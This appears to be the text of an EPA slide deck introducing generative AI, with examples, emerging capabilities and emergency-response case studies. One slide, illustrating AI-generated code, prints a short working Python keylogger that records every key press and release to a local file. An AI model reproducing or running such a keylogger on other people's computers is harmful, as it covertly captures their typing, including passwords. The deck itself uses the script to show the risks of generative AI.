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Objectives

•Basics of Generative Artificial Intelligence (GenAI)
• Examples of GenAI
• Emerging Capabilities
•Case Studies
•Activity



What is Generative AI?

• A revolutionary type of AI that creates new, original 
content (like text, images, or code) instead of 
analyzing or classifying existing data

• It learns from massive datasets and then generates a 
unique output based on the patterns it has learned

• The simple difference:
• Traditional AI → Analyzes data to make a 

prediction (e.g., "Is this a cat?")
• Generative AI → Uses a prompt to create 

something new (e.g., "Create a picture of a cat 
wearing a space helmet.")
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How Does GenAI Work?

The "Next-Token Prediction" Engine:
• The model learns the incredibly complex relationships 

between words, pixels, or notes of music
• It doesn't "think"—it mathematically calculates the most 

probable next piece of content 

Common Applications:
• Text Generation: Writing emails, summarizing documents, 

brainstorming ideas
• Image/Video Creation: Generating artwork and 

photorealistic images from text
• Code & Development: Writing, debugging, and explaining 

computer code



AI-Generated Text
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AI-Generated Images

Prompt A: Create an image of a fluffy bunny with large, 
expressive eyes, wearing a headband with oversized bunny 
ears, set in a sunlit, colorful meadow.

Prompt B: An elegant black computer mouse wearing a 
fluffy bunny ears headband, with soft white fur and pink 
inner ears, set against a clean, minimalistic background
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Evildoer Tim Bobblehead Tim Kermit Tim Hulk Tim

Knight Mellow Mystic Mellow Disney Mellow Art Mellow

AI-Generated Images – Locally Trained



Malicious Examples

UFO over neighborhood Mellow with President Truman



AI-Generated Videos

Prompt A: Animate 
the ships exchanging 
cannon fire, sails 
rippling, waves 
crashing, and smoke 
billowing from the 
battle

Prompt B: Animate the 
toy ships battling on the 
wavy bathtub water, 
cannons firing, sails 
fluttering, and splashes 
forming from the action
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AI Generated Code

import datetime

import keyboard

def on_press(key):

    with open("keylogs.txt", "a") as f:

        f.write(str(datetime.datetime.now()) + " Key Press: " + str(key) + "\n")

def on_release(key):

    with open("keylogs.txt", "a") as f:

        f.write(str(datetime.datetime.now()) + " Key Release: " + str(key) + "\n")

keyboard.on_press(on_press)

keyboard.on_release(on_release)

keyboard.wait()

Write a python script for logging keystrokes…



Emerging Capabilities

Deep Research
• Multi-source analysis and synthesis
• Understands academic papers, gated PDFs, reports
• Triangulates facts and auto-generates citations

System Control via Screen Interaction
• Sees and operates software interfaces like a human
• Clicks, types, navigates across browsers, appsand forms
• Handles multi-step tasks with feedback loops

Shared Framework
• Understand Goal → Plan → Act → Adapt → Deliver

Challenges
• Research: Hallucination, citation integrity
• Control: Misclicks, unintended actions, permission boundaries



Future of AI

• AI is here and evolving – transforming 
workflows and (eventually) decision-
making

• Practical applications – automating 
tasks, analyzing data, generating content

• Opportunities & risks – security threats, 
misinformation, and deepfakes

• Future focus – deeper AI integration into 
everyday tasks 
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Case Studies



How can we speed up decision-
making?

…Use AI to digest complex data and 
imagery



Analyzing Imagery Using AI

• Why: Improve rapid identification 
during emergency response and 
leverage AI for automated imagery 
analysis

• How: Google Vertex AI tested with 
two case studies:

• Infrastructure
• Microorganisms

• What: Successfully classified 
construction materials (~85% 
accuracy)

• Promising results for microorganism detection; 
limited by data availability

• Future: Expand datasets, enhance labeling, and 
evaluate advanced AI



Analyzing Imagery Using AI: Microbiology
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How do we better communicate 
data?

…Use AI to digest complex data and 
communicate with our partners & 
stakeholders



Improving Communication

• Why: Efficient, timely, and 
informed decisions

• How: Use AI tools to find and 
explain key information in a way 
that’s easy to use

• What: Share information to help 
the state  of North Carolina clean 
farm equipment and stop the 
spread of Bird Flu



Improving Communication

Step/Component Details

1. Cleaning (Grime Removal)

Power wash with a 3000 PSI power 
washer using water heated to 71°C 
(160°F) to remove excess grime and 
organic material. Methodically spray 
all sections, including undercarriage 
and engine components.

2. Disinfection

Apply a dilute (0.5%, or 1:10 dilution 
of household bleach) sodium 
hypochlorite (NaOCl) solution using 
the pressure washing system.

3. Dwell Time
Allow a 10-minute contact/dwell 
time for the disinfectant solution.

Overall Outcome

The evaluated cleaning and 
disinfection protocol (power washing 
+ dilute bleach) was found to be 
effective for decontaminating farm 
mortality transport vehicles under 
the tested conditions.



How do we optimize response 
activities in an incident?

…Using AI to support situational 
awareness, navigation, and data 
collection



Disaster Site Navigation 

• Why: Need a low-cost, reliable way to navigate 
and recreate indoor and outdoor environments

• How: Use small business grant to build an AI 
system that remembers where people go and 
helps guide them—no expensive gear needed

• What: Commercial mapping tool for capturing 
and documenting indoor and outdoor spaces



Activity



Activity: Identifying Patterns

What’s next in the clock pattern?

Result: AI may give a confident but incorrect 
answer — or hedge awkwardly — because it 
lacks real-world experience and spatial 
reasoning. It only predicts what “sounds” right 
based on language patterns.

Why This Matters: AI can’t truly “see” or 
“understand” the physical world — making it 
unreliable for decisions involving size, space or 
physical logic. 

For planning, infrastructure, or environmental 
work, human judgment must stay central



Conclusion

AI is a powerful tool — not a replacement: It can 
augment capacity, automate tasks, and support 
decision-making, but human judgment and community 
values must remain central.

Applications show real promise: From grant writing to 
land stewardship, AI can improve access and strengthen 
resilience when used responsibly.

Opportunities must be balanced with caution: 
Challenges like data privacy, cultural relevance, and tech 
access need continuous attention.

Collaboration is key: Success comes from partnership: 
blending AI tools with state and community priorities, 
Tribal knowledge and lived experience. 



Contacts

Timothy Boe
CBRN Consequence Management Advisory 
Team
U.S. EPA Office of Emergency Management
boe.timothy@epa.gov 
984-227-9699

Sang Don Lee
CBRN Consequence Management Advisory 
Team
U.S. EPA Office of Emergency Management
Lee.Sangdon@epa.gov
919-541-4531

Shawn Ryan
Center for Environmental Solutions and 
Emergency Response
Office of Research and Development
Ryan.Shawn@epa.gov
919-541-0699

The views expressed in this presentation are those of the author(s) and do not necessarily represent the 
views or policies of the U.S. Environmental Protection Agency. Mention of trade names or commercial 

products does not constitute endorsement or recommendation for use.

CBRN CMAT 24/7 Phone Duty Officer
CMAT@epa.gov
(202) 250-8770
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